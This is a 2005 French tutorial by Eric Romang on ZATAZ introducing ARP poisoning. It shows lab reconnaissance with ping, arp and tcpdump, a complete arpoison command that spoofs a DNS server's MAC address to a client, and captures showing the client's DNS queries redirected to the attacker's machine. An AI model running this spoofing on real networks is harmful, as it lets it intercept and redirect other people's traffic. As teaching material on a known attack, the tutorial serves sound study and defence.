The ZATAZ network :: ZATAZ.com :: ZATAZ.net


Documentation : Introduction à l'ARP Poisoning et arpoison

Date de publication : 1.7.2005

Contributeur : Eric Romang

Société : ZATAZ / http://eromang.zataz.com

Eric Romang co-fondateur de ZATAZ, avec Damien Bancal, supervise la direction technique de ZATAZ.

Situé au Luxembourg, Eric Romang a eu l'occasion au cours de ses années d'expériences dans le domaine au sein de datacenter de développer une expertise dans la haute disponibilité d'infrastructure, la mise en place de cluster MySQL, de solutions de stockages, de sauvegardes et de sécurisation d'environnement Linux.


Sommaire

Introduction

L'arp poisoning est une attaque par Déni de Service dont le but est de duper des serveurs, ou postes, sur le même réseau ethernet en falsifiant des adresses ARP (MAC) pour des adresses IP données.

Ce genre d'attaques peuvent être utilisées pour effectuer des attaques plus complexes du type MIM (Man In the Middle)

Analys du réseau cible

Tout d'abord effectuons quelques définitions :

Machine owned : 192.168.1.25 (mac adresse : 00:0C:6E:CA:D1:22)
Machine cible / serveur de dns : 192.168.1.33 (mac adresse : 00:30:65:D6:F6:66)
Machine client : 192.168.1.9 (mac adresse : 00:0A:E4:02:91:1B)

Gateway : 192.168.1.1
NetMask : 255.255.255.0

Depuis la machine owned on analyse les machines présentes dans le réseau et on récolte les adresses IP cible.

eric root # ping 192.168.1.33
PING 192.168.1.33 (192.168.1.33) 56(84) bytes of data.
64 bytes from 192.168.1.33: icmp_seq=1 ttl=64 time=0.185 ms
64 bytes from 192.168.1.33: icmp_seq=2 ttl=64 time=0.212 ms
64 bytes from 192.168.1.33: icmp_seq=3 ttl=64 time=0.195 ms


DUMP sur la machine machine cible (192.168.1.33) :

macserver root # tcpdump -n host 192.168.1.25
tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on eth0, link-type EN10MB (Ethernet), capture size 68 bytes
20:27:30.274069 arp who-has 192.168.1.33 tell 192.168.1.25
20:27:30.274091 arp reply 192.168.1.33 is-at 00:30:65:d6:f6:66
20:27:30.274225 IP 192.168.1.25 > 192.168.1.33: icmp 64: echo request seq 1


Sur la machine owned on récupère l'adresse MAC de la machine cible :

eric root # arp -a
blabla.test.loc (192.168.1.33) at 00:30:65:D6:F6:66 [ether] on eth0


On ping le client cible que l'on veut detourner :

eric root # ping 192.168.1.9
PING 192.168.1.9 (192.168.1.9) 56(84) bytes of data.
64 bytes from 192.168.1.9: icmp_seq=1 ttl=64 time=0.896 ms

eric root # arp -a
? (192.168.1.9) at 00:0A:E4:02:91:1B [ether] on eth0


Lancement de l'attaque ARP Poisoning

Nous allons utiliser le logiciel arpoison pour faire croire au client cible (192.168.1.9) que la machine cible (192.168.1.33) est en fait la machine owned (192.168.1.25) :

arpoison -i eth0 -d 192.168.1.9 -s 192.168.1.33 -t 00:0A:E4:02:91:1B -r 00:0C:6E:CA:D1:22 -a -n 160

Sur la machine client cible on voit :

client net-misc # arp -an
? (192.168.1.9) at 00:50:8B:B9:FB:3B [ether] on eth0
? (192.168.1.33) at 00:0C:6E:CA:D1:22 [ether] on eth0


On voit que la machine client cible (192.168.1.9) croit que maintenant la machine cible (192.168.1.33) a comme adresse MAC 00:0C:6E:CA:D1:22 alors que c'est 00:30:65:D6:F6:66.

Depuis la machine client on essaye dig www.zataz.com

Sur la machine owned (192.168.1.25) on peut voir que les requêtes DNS de la machine client cible (192.168.1.9) sont redirigées vers la machine owned (192.168.1.25) a la place de la machine cible (192.168.1.33)

eric root # tcpdump -n host 192.168.1.9
20:51:44.203772 IP 192.168.1.9.39664 > 192.168.1.33.53: 49297+ A? www.zataz.com. (31)
20:51:44.819931 arp who-has 192.168.1.9 (00:0a:e4:02:91:1b) tell 192.168.1.33

contentRight


valider